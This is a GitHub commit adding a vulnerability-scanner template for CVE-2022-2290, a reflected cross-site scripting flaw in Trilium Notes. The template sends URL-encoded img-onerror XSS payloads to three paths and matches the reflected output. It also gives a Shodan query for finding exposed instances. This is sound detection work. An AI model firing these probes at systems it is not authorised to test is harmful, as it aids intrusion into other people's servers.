Merge pull request #4751 from dbrwsky/CVE-2022-2290

Added CVE-2022-2290 Template
patch-1
Prince Chaddha 2022-07-06 10:53:28 +05:30 committed by GitHub
commit 649b5a13df
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: CVE-2022-2290
info:
name: Trilium - Cross-Site Scripting
author: dbrwsky
severity: medium
description: Cross-site Scripting (XSS) - Reflected in GitHub repository zadam/trilium prior to 0.52.4, 0.53.1-beta.
reference:
- https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
- https://github.com/zadam/trilium
- https://nvd.nist.gov/vuln/detail/CVE-2022-2290
metadata:
verified: true
shodan-query: title:"Trilium Notes"
tags: cve,cve2022,xss,trilium
requests:
- method: GET
path:
- '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
- '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
- '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'No handler matched for custom <img src=x onerror=alert(document.domain)>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 404